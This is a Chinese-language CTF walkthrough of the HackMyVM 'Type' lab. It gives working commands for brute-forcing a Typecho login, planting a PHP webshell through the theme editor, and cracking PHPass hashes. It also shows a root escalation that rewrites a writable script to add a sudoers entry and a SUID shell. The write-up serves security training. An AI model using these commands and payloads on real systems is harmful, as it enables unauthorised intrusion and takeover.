HackMyVM Type 通关记录|Typecho 草稿泄露、主题 WebShell 与 X11 GUI 提权
靶机链接:Type
0x01 基本信息
| 名称 | IP | 备注 |
|---|---|---|
| Kali Linux | 192.168.1.113 | 攻击机,具备 X11 显示环境 |
| Type | 192.168.1.115 | Alpine Linux |
目标站点使用虚拟主机名 type.dsz,先写入 hosts:
echo "192.168.1.115 type.dsz" | sudo tee -a /etc/hosts
攻击流程
点击展开
攻击链摘要
| 阶段 | 关键证据 / 操作 | 作用 |
|---|---|---|
| 服务发现 | 22/tcp、80/tcp | Web 是主攻击面,SSH 用于后续登录 |
| CMS 指纹 | <meta name="generator" content="Typecho 1.3.0" /> | 确认 Typecho 站点 |
| 用户枚举 | RSS dc:creator、/index.php/author/{id}/ | 得到 admin、sburro、plugugly |
| 词表生成 | CeWL 从文章提取 DevNotes 等词 | 为后台爆破准备小词表 |
| 登录爆破 | wfuzz 过滤 Location 头 | 命中 sburro:DevNotes |
| 权限扩大 | sburro 草稿泄露 admin 密码 | 获得 Typecho 管理员 |
| RCE | 主题编辑器写入 404.php WebShell | 读取文件和执行命令 |
| 横向移动 | SQLite 中 PHPass 哈希破解 | 得到 plugugly:2boobies |
| 提权 | sudo /root/typer.py + 可写 cleanup_scores.sh | 通过 GUI Debug Mode 触发 root 执行脚本 |
0x02 侦察与信息收集 (Reconnaissance)
1. 端口与服务识别
rustscan -a 192.168.1.115 --ulimit 5000 -- -sC -sV -oN nmap.txt
关键结果:
| 端口 | 服务 | 指纹 / 备注 |
|---|---|---|
22/tcp | SSH | OpenSSH 10.0 |
80/tcp | HTTP | nginx、Typecho 1.3.0 |
53/tcp | domain | closed |
HTTP 头和首页源码可以确认 PHP 与 Typecho:
curl -s -I http://type.dsz/
curl -s http://type.dsz/ | grep -i generator
返回要点:
Server: nginx
X-Powered-By: PHP/8.2.30
X-Pingback: http://type.dsz/index.php/action/xmlrpc
<meta name="generator" content="Typecho 1.3.0" />
Typecho 是一个 PHP 博客 CMS,这台靶机后端使用 SQLite。
2. 用户枚举
RSS 中能看到作者名:
curl -s "http://type.dsz/index.php/feed/" | grep dc:creator
返回:
<dc:creator>admin</dc:creator>
Typecho 作者归档页面位于 /index.php/author/{id}/,可以枚举作者 ID:
for i in 1 2 3 4 5; do
echo -n "author/$i: "
curl -s -o /dev/null -w "%{http_code}" "http://type.dsz/index.php/author/$i/"
echo
done
结果:
author/1: 200
author/2: 200
author/3: 200
author/4: 404
author/5: 404
结合页面内容,确认三个用户:
| 用户 | UID | 角色线索 |
|---|---|---|
admin | 1 | administrator |
sburro | 2 | contributor |
plugugly | 3 | subscriber |
3. 博客内容线索
重点查看文章 /index.php/archives/4/:
curl -s "http://type.dsz/index.php/archives/4/"
关键线索:
- 文章标题:
Random Thoughts on a Quiet Coding Evening - 页面
<meta>描述中出现CeWL - 作者提到 notebook 名称
DevNotes sburro评论111,admin回复lol- 图片路径:
/usr/uploads/2026/02/3613355859.jpg - 图片 alt 文本提到
770249.jpg
这些词都适合进入小词表。CeWL 的通用用法见知识库:CeWL 主题词表辅助目录发现。
0x03 初始访问:CeWL 词表到 Typecho 登录
1. 生成主题词表
cewl -d 3 -m 4 --with-numbers "http://type.dsz/index.php/archives/4/" -w /tmp/cewl_words.txt
wc -l /tmp/cewl_words.txt
结果:
258 /tmp/cewl_words.txt
高价值词包括:
DevNotes
sburro
770249
Progress
perfection
Typecho
CeWLtypecho
2. 登录机制分析
Typecho 登录接口:
POST /index.php/action/login?_=8df42f298d16ed68f80acc3edb56554f
本次记录中确认了三个 token:
| 来源 | token |
|---|---|
type.dsz 计算值 | 6530d884120e12bf58772d1081cc1738 |
192.168.1.115 计算值 | 69802360f840af43e250152a85e0da00 |
| BurpSuite 浏览器会话 | 8df42f298d16ed68f80acc3edb56554f |
实际爆破时使用浏览器会话里的 8df42f298d16ed68f80acc3edb56554f。这一步还有两个容易踩坑的点:
- POST 参数里的
referer=必须为空。 - 成功时
Location不包含login.php;失败时Location包含login.php。
3. wfuzz 爆破
for user in admin sburro plugugly; do
echo "=== $user ==="
wfuzz -z file,/tmp/cewl_words.txt -d "name=${user}&password=FUZZ&referer=" \
-H 'Content-Type: application/x-www-form-urlencoded' \
-H 'Referer: http://192.168.1.115/admin/login.php' \
-H 'Origin: http://192.168.1.115' \
--filter "r.headers.response.Location \!~ 'login.php'" \
-t 10 \
'http://192.168.1.115/index.php/action/login?_=8df42f298d16ed68f80acc3edb56554f' 2>/dev/null
done
结果:
=== admin ===
Filtered Requests: 258
=== sburro ===
Filtered Requests: 257
000000028: 302 ... "DevNotes"
=== plugugly ===
Filtered Requests: 258
得到第一组凭据:
sburro : DevNotes
WSL Ubuntu 复测时,用这个 token 和密码登录 sburro,返回 302 Found,Location: http://192.168.1.115/admin/,并设置 __typecho_uid=2,说明命令可复现。
0x04 管理员权限与 WebShell
1. sburro 后台可见草稿
用 sburro:DevNotes 登录:
http://192.168.1.115/admin/
sburro 是 contributor,不能编辑主题,也不能管理用户,但在 /admin/manage-posts.php 能看到一篇自己的草稿:
cid=5
Title: 2DbYCYpXwvV9kKwO
Author: sburro
Status: draft
草稿标题和正文都保存了管理员密码,这是本靶机的关键凭据泄露点:
admin : 2DbYCYpXwvV9kKwO
2. 登录 admin
curl -i -X POST "http://192.168.1.115/index.php/action/login?_=8df42f298d16ed68f80acc3edb56554f" \
-H 'Content-Type: application/x-www-form-urlencoded' \
-d "name=admin&password=2DbYCYpXwvV9kKwO&referer="
成功时返回:
Location: /admin/
Set-Cookie: ...__typecho_uid=1
uid=1 是 Typecho 管理员,可以进入主题编辑器。
3. 主题编辑器写入 WebShell
Typecho 后台可以编辑主题文件:
/admin/theme-editor.php
这里要注意,保存主题文件的 action 是 themes-edit,字段名是 edit,不是 file。可以用 Python 自动登录、获取编辑 token,并覆盖默认主题的 404.php:
import re
import requests
s = requests.Session()
s.headers.update({"User-Agent": "Mozilla/5.0"})
s.post(
"http://192.168.1.115/index.php/action/login?_=8df42f298d16ed68f80acc3edb56554f",
data="name=admin&password=2DbYCYpXwvV9kKwO&referer=http://192.168.1.115/admin/",
allow_redirects=True,
)
r = s.get("http://192.168.1.115/admin/theme-editor.php?theme=default&file=404.php")
token = re.search(r"themes-edit\?_=([a-f0-9]+)", r.text).group(1)
shell = '<?php system($_GET["cmd"]); ?>'
r = s.post(
f"http://192.168.1.115/index.php/action/themes-edit?_={token}",
data={"theme": "default", "edit": "404.php", "content": shell},
allow_redirects=True,
)
print(r.status_code)
WebShell 路径:
http://192.168.1.115/usr/themes/default/404.php?cmd=id
任意文件写入到 WebShell 的通用判断见知识库:任意文件写入到 WebShell。
4. 读取 user flag
curl "http://192.168.1.115/usr/themes/default/404.php?cmd=cat%20/home/plugugly/user.txt"
返回:
flag{user-f1315ee82308853cc1a9402f2cfa6d1c}
5. 读取提示与数据库
读取用户提示:
curl "http://192.168.1.115/usr/themes/default/404.php?cmd=cat%20/home/plugugly/.hint"
返回:
Can't type fast enough? Maybe the system stat bar has a hidden 'Debug Mode'.
Try to knock on it several times.
下载 Typecho SQLite 数据库:
curl "http://192.168.1.115/usr/themes/default/404.php?cmd=cat%20/data/database/typecho.db" -o typecho.db
sqlite3 typecho.db "SELECT uid,name,password,mail,group FROM typecho_users;"
结果:
1|admin|$P$B/xZAkZ342fLS1sEQwQfsXTVKiBnVG/|admin@type.dsz|administrator
2|sburro|$P$BfS2sY4Vz6sHjC52095jVAFOjMNyuy1|sburro@type.dsz|contributor
3|plugugly|$P$BuyKfLj9xZ0iLez6SomJNOLGx.7g.U/|plugugly@type.dsz|subscriber
Typecho 用户密码是 PHPass 格式,Hashcat 模式是 400。通用方法见知识库:PHPass 哈希与 Hashcat 模式 400。
0x05 横向移动:破解 plugugly 哈希
把 plugugly 的 PHPass 哈希保存出来:
echo '$P$BuyKfLj9xZ0iLez6SomJNOLGx.7g.U/' > plugugly_hash.txt
使用 rockyou 破解:
zcat /usr/share/wordlists/rockyou.txt.gz | hashcat -m 400 plugugly_hash.txt --force
hashcat -m 400 --show plugugly_hash.txt
结果:
$P$BuyKfLj9xZ0iLez6SomJNOLGx.7g.U/:2boobies
得到系统用户凭据:
plugugly : 2boobies
SSH 登录:
sshpass -p '2boobies' ssh -o StrictHostKeyChecking=no plugugly@192.168.1.115
确认身份:
id
cat /home/plugugly/user.txt
返回:
uid=1000(plugugly) gid=1000(plugugly) groups=1000(plugugly)
flag{user-f1315ee82308853cc1a9402f2cfa6d1c}
0x06 权限提升:X11 GUI Debug Mode 到 root
1. sudo 枚举
sudo -l
返回:
Matching Defaults entries for plugugly on Type:
secure_path=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
env_keep+=XAUTHORITY
User plugugly may run the following commands on Type:
(ALL) NOPASSWD: /root/typer.py
关键点:
plugugly可以无密码以 root 运行/root/typer.py。XAUTHORITY会被 sudo 保留,说明 GUI 程序可以借助 X11 转发跑起来。secure_path包含/usr/local/bin。
2. typer.py 行为
脚本本身不可读:
file /root/typer.py
返回:
cannot open `/root/typer.py' (Permission denied)
直接在无图形环境中运行会失败:
sudo /root/typer.py -platform linuxfb 2>&1
返回:
[!] Error: X11 DISPLAY not found.
结合 .hint 中的提示,可以判断这是一个需要 X11 显示的 PyQt6 打字游戏,隐藏 Debug Mode 要通过点击状态栏触发。
3. LinPEAS 发现可写脚本
scp ~/tools/linpeas.sh plugugly@192.168.1.115:/tmp/
ssh plugugly@192.168.1.115 /tmp/linpeas.sh -q
高危发现:
[RED/YELLOW] You can write script: /usr/local/bin/cleanup_scores.sh
检查文件:
ls -la /usr/local/bin/cleanup_scores.sh
cat /usr/local/bin/cleanup_scores.sh
返回:
-rwxrwxrwx 1 root root 52 /usr/local/bin/cleanup_scores.sh
#!/bin/sh
echo 'Cleanup process started by root...'
这是一个 root 拥有、全局可写的脚本,路径又在 sudo secure_path 里,文件名也和打字游戏的 score cleanup 强相关。LinPEAS 的基础使用见知识库:LinPEAS Linux 提权枚举。
4. 写入提权 payload
把 cleanup_scores.sh 改成 root 执行后复制 flag、创建 SUID busybox、追加 sudoers:
cat > /usr/local/bin/cleanup_scores.sh << 'PAYLOAD'
#!/bin/sh
cp /root/root.txt /tmp/root_flag.txt
chmod 644 /tmp/root_flag.txt
cp /bin/busybox /tmp/rootshell
chmod u+s /tmp/rootshell
echo "plugugly ALL=(ALL) NOPASSWD: ALL" >> /etc/sudoers
echo "[+] Debug Mode activated - payload executed as root"
PAYLOAD
chmod 777 /usr/local/bin/cleanup_scores.sh
这一步会修改靶机状态。真实环境中应优先只写一个最小验证 payload,比如复制 flag 到 /tmp;靶场里为了保留多条 root 访问路径,记录中同时写入了 SUID 与 sudoers。
5. X11 转发触发 Debug Mode
攻击机需要 xdotool 和 sshpass:
which xdotool || sudo apt install -y xdotool
which sshpass || sudo apt install -y sshpass
完整触发脚本:
#!/bin/bash
sshpass -p '2boobies' ssh -o StrictHostKeyChecking=no plugugly@192.168.1.115 \
'cat /opt/material.txt' > /tmp/game_text.txt
sshpass -p '2boobies' ssh -X -o StrictHostKeyChecking=no plugugly@192.168.1.115 \
'xauth extract /tmp/xauth_cookie $DISPLAY 2>/dev/null
chmod 644 /tmp/xauth_cookie
XAUTHORITY=/tmp/xauth_cookie DISPLAY=$DISPLAY sudo /root/typer.py' &
sleep 4
WID=$(xdotool search --name "System Core Validator" 2>/dev/null | head -1)
eval "$(xdotool getwindowgeometry --shell "$WID" 2>/dev/null)"
echo "Window: ${WIDTH}x${HEIGHT} at ($X,$Y)"
GAME_TEXT=$(cat /tmp/game_text.txt)
xdotool mousemove $((X + WIDTH / 2)) $((Y + HEIGHT / 2)) click 1
sleep 0.5
xdotool type --window "$WID" --delay 2 "$GAME_TEXT"
sleep 0.5
STAT_X=$((X + WIDTH / 2))
STAT_Y=$((Y + HEIGHT - 12))
for i in $(seq 1 15); do
xdotool mousemove "$STAT_X" "$STAT_Y" click 1
sleep 0.06
done
sleep 1
sshpass -p '2boobies' ssh -o StrictHostKeyChecking=no plugugly@192.168.1.115 \
'cat /tmp/root_flag.txt'
运行:
chmod +x typer_exploit.sh
./typer_exploit.sh
结果:
Window: 800x500 at (882,409)
flag{root-e0d46f8ca8c65edb6b7d46daeafebe16}
[+] Debug Mode activated - payload executed as root
窗口标题为 System Core Validator @ Type,内容来自 /opt/material.txt。正确输入 60 个以上字符后,快速点击底部状态栏 7 次以上即可触发隐藏 Debug Mode,root 上下文会执行 /usr/local/bin/cleanup_scores.sh。这类 sudo GUI 程序的复现要点见知识库:sudo GUI 程序、X11 转发与辅助脚本提权。
6. root shell
payload 触发后有三条路径:
sudo -i
sudo /bin/sh
或使用 SUID busybox:
/tmp/rootshell whoami
/tmp/rootshell sh -p
也可以直接重新执行脚本:
sudo /usr/local/bin/cleanup_scores.sh
验证 root:
sudo id
返回:
uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel)
0x07 最终成果 (Final Flags)
User Flag
- 路径:
/home/plugugly/user.txt - 内容:
flag{user-f1315ee82308853cc1a9402f2cfa6d1c}
Root Flag
- 路径:
/root/root.txt - 内容:
flag{root-e0d46f8ca8c65edb6b7d46daeafebe16}
凭据汇总
| 用户 | 密码 | 来源 |
|---|---|---|
sburro | DevNotes | CeWL 词表 + wfuzz 登录爆破 |
admin | 2DbYCYpXwvV9kKwO | sburro 草稿泄露 |
plugugly | 2boobies | Typecho SQLite 中 PHPass 哈希破解 |
复盘总结
Type 的主线是一条“内容线索逐步升级权限”的链路。
- CeWL 不是盲扫替代品,而是主题收束工具。 这台靶机把
CeWL和DevNotes明确放进内容里,生成的小词表直接命中sburro密码。 - 后台低权限用户也可能泄露高权限凭据。 contributor 不能改主题,但能看到自己的 draft,草稿里存 admin 密码导致权限升级。
- 主题编辑器等价于文件写入能力。 只要管理员能写 PHP 主题文件,就可以落地 WebShell。
- SQLite 数据库是 Web RCE 后的高价值目标。 Typecho 用户表里的 PHPass 哈希可以离线破解,带来 SSH 初始访问。
- GUI 程序也能成为 sudo 提权面。
env_keep+=XAUTHORITY、X11 转发、可写 helper script 和隐藏 Debug Mode 组合在一起,最终让 root 执行了攻击者可控脚本。